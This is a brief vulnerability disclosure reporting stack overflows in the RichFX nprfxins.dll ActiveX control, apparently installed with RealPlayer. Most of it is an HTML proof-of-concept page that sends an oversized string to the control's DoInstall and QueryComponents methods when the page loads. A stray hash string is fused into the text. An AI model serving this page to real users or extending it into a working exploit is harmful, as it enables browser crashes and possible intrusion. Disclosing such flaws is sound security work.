Multiple stack overflows exist in the RichFX nprfxins.dll ActiveX control.
7293c8e710192d767af558070b26ba8ca41ebcd71e9167814f04c7c31b237c42There are multiple stack overflows in the RichFX nprfxins.dll ActiveX Control. I almost positive that this control was installed with RealNetworks RealPlayer. This was tested on Windows XP SP2 fully patched and IE6. This control is marked safe for scripting. I have not tested code execution. PoC as follows:
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<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = "AAAA";
while (s.length < 999999) s=s+s;
var obj = new ActiveXObject("RFXInstMgr.RFXInstMgr"); //{47F59200-8783-11D2-8343-00A0C945A819}
obj.DoInstall(s);
obj.QueryComponents(s);
}
</script>
</head>
<body onload="JavaScript: return Check();">
</body>
</html>
------------
Elazar
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